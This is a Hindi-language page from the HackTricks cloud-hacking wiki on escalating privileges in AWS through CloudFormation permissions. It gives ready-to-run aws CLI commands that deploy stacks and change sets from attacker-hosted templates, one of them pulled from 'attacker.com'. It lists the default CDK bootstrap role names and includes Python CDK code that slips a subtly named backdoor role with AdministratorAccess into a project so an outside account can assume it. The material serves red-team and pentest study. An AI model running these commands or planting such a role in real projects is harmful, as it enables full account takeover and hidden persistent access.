AWS - Cloudformation Privesc

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

cloudformation

cloudformation के बारे में अधिक जानकारी के लिए देखें:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

इन अनुमतियों के साथ एक हमलावर अधिकारों को बढ़ा सकता है एक CloudFormation स्टैक को कस्टम टेम्पलेट के साथ तैयार करके, जो उनके सर्वर पर होस्ट किया गया है, ताकि निर्धारित भूमिका के अनुमतियों के तहत क्रियाएँ निष्पादित की जा सकें:

bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

इस पृष्ठ पर आपके पास एक शोषण उदाहरण है जिसमें अतिरिक्त अनुमति cloudformation:DescribeStacks है:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

संभावित प्रभाव: निर्दिष्ट क्लाउडफॉर्मेशन सेवा भूमिका के लिए प्रिवेस्क।

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

इस मामले में आप एक मौजूदा क्लाउडफॉर्मेशन स्टैक का दुरुपयोग कर सकते हैं ताकि इसे अपडेट किया जा सके और पिछले परिदृश्य की तरह विशेषाधिकार बढ़ाए जा सकें:

bash
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

cloudformation:SetStackPolicy अनुमति का उपयोग अपने लिए UpdateStack अनुमति देने के लिए किया जा सकता है और हमले को अंजाम देने के लिए।

संभावित प्रभाव: क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क।

cloudformation:UpdateStack | cloudformation:SetStackPolicy

यदि आपके पास यह अनुमति है लेकिन कोई iam:PassRole नहीं है, तो आप अभी भी उपयोग किए गए स्टैक्स को अपडेट कर सकते हैं और IAM भूमिकाओं का दुरुपयोग कर सकते हैं जो पहले से ही संलग्न हैं। शोषण उदाहरण के लिए पिछले अनुभाग की जांच करें (बस अपडेट में कोई भूमिका न बताएं)।

cloudformation:SetStackPolicy अनुमति का उपयोग अपने लिए UpdateStack अनुमति देने के लिए किया जा सकता है और हमले को अंजाम देने के लिए।

संभावित प्रभाव: क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क जो पहले से ही संलग्न है।

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

एक हमलावर जिसके पास भूमिका पास करने और एक ChangeSet बनाने और निष्पादित करने की अनुमति है वह एक नया क्लाउडफॉर्मेशन स्टैक बना/अपडेट कर सकता है और क्लाउडफॉर्मेशन सेवा भूमिकाओं का दुरुपयोग कर सकता है जैसे कि CreateStack या UpdateStack के साथ।

निम्नलिखित शोषण CreateStack एक का एक भिन्नता है जो ChangeSet अनुमतियों का उपयोग करके एक स्टैक बनाने के लिए है।

bash
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

cloudformation:SetStackPolicy अनुमति का उपयोग अपने लिए ChangeSet अनुमतियाँ देने के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है।

संभावित प्रभाव: cloudformation सेवा भूमिकाओं के लिए प्रिवेस्क।

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

यह पिछले तरीके की तरह है बिना IAM भूमिकाएँ पास किए, इसलिए आप बस पहले से जुड़े हुए का दुरुपयोग कर सकते हैं, बस पैरामीटर को संशोधित करें:

--change-set-type UPDATE

संभावित प्रभाव: पहले से जुड़े क्लाउडफॉर्मेशन सेवा भूमिका के लिए प्रिवेस्क।

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

एक हमलावर इन अनुमतियों का दुरुपयोग करके स्टैकसेट्स को बनाने/अपडेट करने के लिए क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग कर सकता है।

संभावित प्रभाव: क्लाउडफॉर्मेशन सेवा भूमिकाओं के लिए प्रिवेस्क।

cloudformation:UpdateStackSet

एक हमलावर इस अनुमति का दुरुपयोग बिना पासरोल अनुमति के स्टैकसेट्स को अपडेट करने के लिए कर सकता है ताकि संलग्न क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके।

संभावित प्रभाव: संलग्न क्लाउडफॉर्मेशन भूमिकाओं के लिए प्रिवेस्क।

AWS CDK

AWS cdk एक टूलकिट है जो उपयोगकर्ताओं को उनके परिचित भाषाओं में अपने बुनियादी ढांचे को कोड के रूप में परिभाषित करने की अनुमति देता है, साथ ही अनुभागों का आसानी से पुन: उपयोग करने की सुविधा भी देता है। CDK फिर उच्च-स्तरीय कोड (जैसे पायथन) को क्लाउडफॉर्मेशन टेम्पलेट्स (yaml या json) में परिवर्तित करता है।

CDK का उपयोग करने के लिए, एक प्रशासनिक उपयोगकर्ता को पहले खाते को बूटस्ट्रैप करना होगा, जो कई IAM भूमिकाएँ बनाता है, जिसमें exec role शामिल है, जिसमें */* अनुमतियाँ होती हैं। ये भूमिकाएँ नामकरण संरचना cdk-<qualifier>-<name>-<account-id>-<region> का पालन करती हैं। बूटस्ट्रैपिंग को प्रति क्षेत्र प्रति खाते एक बार किया जाना चाहिए।

डिफ़ॉल्ट रूप से, CDK उपयोगकर्ताओं को CDK का उपयोग करने के लिए आवश्यक भूमिकाओं की सूची बनाने की अनुमति नहीं होती है, जिसका अर्थ है कि आपको उन्हें मैन्युअल रूप से निर्धारित करना होगा। यदि आप किसी डेवलपर की मशीन या किसी CI/CD नोड से समझौता करते हैं, तो इन भूमिकाओं को ग्रहण किया जा सकता है ताकि आप CFN टेम्पलेट्स को तैनात करने की क्षमता प्राप्त कर सकें, cfn-exec भूमिका का उपयोग करके CFN को किसी भी संसाधन को तैनात करने की अनुमति देने के लिए, जिससे खाते का पूर्ण समझौता हो जाता है।

भूमिका नाम निर्धारित करना

यदि आपके पास cloudformation:DescribeStacks है, तो भूमिकाएँ CDKToolkit नामक एक स्टैक में परिभाषित हैं, और आप वहां से नाम खींच सकते हैं।

यदि आप किसी मशीन पर हैं जिसका उपयोग CDK परियोजनाओं को बनाने और तैनात करने के लिए किया गया है, तो आप उन्हें परियोजनाओं की मूल निर्देशिका में cdk.out/manafest.json से खींच सकते हैं।

आप यह अनुमान लगाने में भी सक्षम हो सकते हैं कि वे क्या हैं। qualifier एक स्ट्रिंग है जो भूमिकाओं में जोड़ी जाती है जिससे एक साथ कई CDK बूटस्ट्रैप के उदाहरणों को तैनात किया जा सके, हालाँकि डिफ़ॉल्ट मान को हार्ड-कोड किया गया है hnb659fds

# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>

परियोजना स्रोत में दुर्भावनापूर्ण कोड जोड़ना

यदि आप परियोजना स्रोत में लिख सकते हैं, लेकिन इसे स्वयं तैनात नहीं कर सकते (उदाहरण के लिए, डेवलपर कोड को CI/CD के माध्यम से तैनात करता है, न कि स्थानीय मशीन से), तो आप स्टैक में दुर्भावनापूर्ण संसाधन जोड़कर वातावरण को समझौता कर सकते हैं। निम्नलिखित एक IAM भूमिका जोड़ता है जिसे एक हमलावर खाते द्वारा ग्रहण किया जा सकता है, एक python CDK परियोजना में।

python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)

# ----------
# Some existing code.....
# ----------

role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें